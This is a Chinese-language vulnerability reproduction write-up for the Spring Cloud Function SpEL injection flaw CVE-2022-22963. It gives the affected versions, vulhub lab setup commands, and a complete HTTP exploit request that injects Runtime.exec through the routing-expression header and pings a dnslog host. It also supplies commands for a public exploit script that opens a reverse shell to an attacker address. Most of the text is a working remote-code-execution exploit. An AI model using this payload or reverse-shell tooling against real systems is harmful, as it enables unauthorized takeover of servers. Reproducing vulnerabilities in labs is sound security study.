目录
漏洞原理
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中,RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参 数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞复现
进入
cd vulhub-master/spring/CVE-2022-22963
拉取环境
docker-compose up -d
POC
发送如下数据包,
spring.cloud.function.routing
-
expression
头中包含的
SpEL
表达式将会被执
行:
POST /functionRouter HTTP/1.1
Host: xxxx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping 8qhvks.dnslog.cn")
Content-Type: text/plain
Content-Length: 4
test
网页 有ip 说明存在漏洞
完成
或者使用工具
反弹
Shell
脚本:
https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1
漏洞检测
python3 Spel_RCE_POC.py url.txt
反弹Shell
python3 Spel_RCE_Bash_EXP.py http://xxxx:8080 xxxx:4444